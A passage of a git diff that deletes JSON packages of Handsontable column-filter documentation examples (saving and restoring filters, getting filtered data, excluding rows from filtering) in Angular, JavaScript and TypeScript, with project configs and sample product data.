// get the `Filters` plugin, so you can use its API\n getFiltersPlugin(): Filters {\n return this.hotTable.hotInstance!.getPlugin('filters');\n }\n\n applySampleFilter() {\n const filters = this.getFiltersPlugin();\n\n filters.clearConditions();\n // filter the 'Price' column (column at index 2) for items over $200\n filters.addCondition(2, 'gt', [200]);\n filters.filter();\n }\n\n saveFilters() {\n const filters = this.getFiltersPlugin();\n\n // `exportConditions()` returns the current conditions, keyed by physical column index\n this.savedConditions = filters.exportConditions();\n }\n\n clearFilters() {\n const filters = this.getFiltersPlugin();\n\n filters.clearConditions();\n filters.filter();\n }\n\n restoreFilters() {\n const filters = this.getFiltersPlugin();\n\n // `importConditions()` expects the same physical-column-indexed structure\n filters.importConditions(this.savedConditions);\n filters.filter();\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example13.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example13","exampleTitle":"Save and restore filter settings (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example14.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example14.ts.json deleted file mode 100644 index f21ffb5b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example14.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Column filter · Get filtered data (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example14',\n template: `\n

    {{ rowCountInfo }}

    \n\n \n \n `,\n})\nexport class AppComponent {\n rowCountInfo = '';\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings;\n\n constructor() {\n // deferred so the update doesn't trigger NG0100 when `afterInit` fires\n // during the same change-detection cycle that first rendered the template\n const updateRowCountInfo = (hotInstance: Handsontable) => {\n setTimeout(() => {\n // `getData()` returns only the rows that pass the current filters\n // `getSourceData()` always returns every row, filtered or not\n this.rowCountInfo = `Showing ${hotInstance.getData().length} of ${hotInstance.getSourceData().length} rows.`;\n }, 0);\n };\n\n this.hotSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // `afterInit()` and `afterFilter()` are Handsontable hooks\n afterInit(this: Handsontable) {\n updateRowCountInfo(this);\n },\n afterFilter(this: Handsontable) {\n updateRowCountInfo(this);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example14.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example14","exampleTitle":"Get filtered data (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example9.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example9.ts.json deleted file mode 100644 index e2bc667f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__angular__example9.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Column filter · Exclude rows from filtering (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example9',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 11,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 0,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 1,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 3,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 5,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 22,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 13,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 14,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 16,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 18,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 3,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Vinte',\n model: 'ML Road Frame-W',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 2,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n className: 'htRight',\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'numeric',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n height: 200,\n colWidths: [120, 150, 120, 140, 120, 120],\n fixedRowsTop: 1,\n fixedRowsBottom: 1,\n colHeaders: true,\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n afterFilter(this: Handsontable) {\n const filtersPlugin = this.getPlugin('filters');\n const filtersRowsMap = (filtersPlugin as any).filtersRowsMap;\n\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.getLength() - 1, false);\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example9.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example9","exampleTitle":"Exclude rows from filtering (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json deleted file mode 100644 index 463ed80d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Column filter · Exclude rows from filtering · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#exampleExcludeRowsFromFiltering');\nnew Handsontable(container, {\n data: [\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 11,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 0,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 1,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 3,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 5,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 22,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 13,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 14,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 16,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 18,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 3,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Vinte',\n model: 'ML Road Frame-W',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 2,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n className: 'htRight',\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'numeric',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n height: 200,\n colWidths: [120, 150, 120, 140, 120, 120],\n fixedRowsTop: 1,\n fixedRowsBottom: 1,\n colHeaders: true,\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n afterFilter() {\n const filtersPlugin = this.getPlugin('filters');\n const filtersRowsMap = filtersPlugin.filtersRowsMap;\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.getLength() - 1, false);\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleExcludeRowsFromFiltering.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json deleted file mode 100644 index dbd97b92..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Column filter · Exclude rows from filtering · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { Filters } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleExcludeRowsFromFiltering')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 11,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 0,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 1,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 3,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 5,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 22,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 13,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 14,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 16,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 18,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 3,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Vinte',\n model: 'ML Road Frame-W',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 2,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n className: 'htRight',\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'numeric',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n height: 200,\n colWidths: [120, 150, 120, 140, 120, 120],\n fixedRowsTop: 1,\n fixedRowsBottom: 1,\n colHeaders: true,\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n afterFilter() {\n const filtersPlugin: Filters = (this as Handsontable).getPlugin('filters');\n const filtersRowsMap = filtersPlugin.filtersRowsMap;\n\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.getLength() - 1, false);\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleExcludeRowsFromFiltering.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleGetFilteredData.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleGetFilteredData.js.json deleted file mode 100644 index 52ddb090..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleGetFilteredData.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Column filter · Get filtered data · 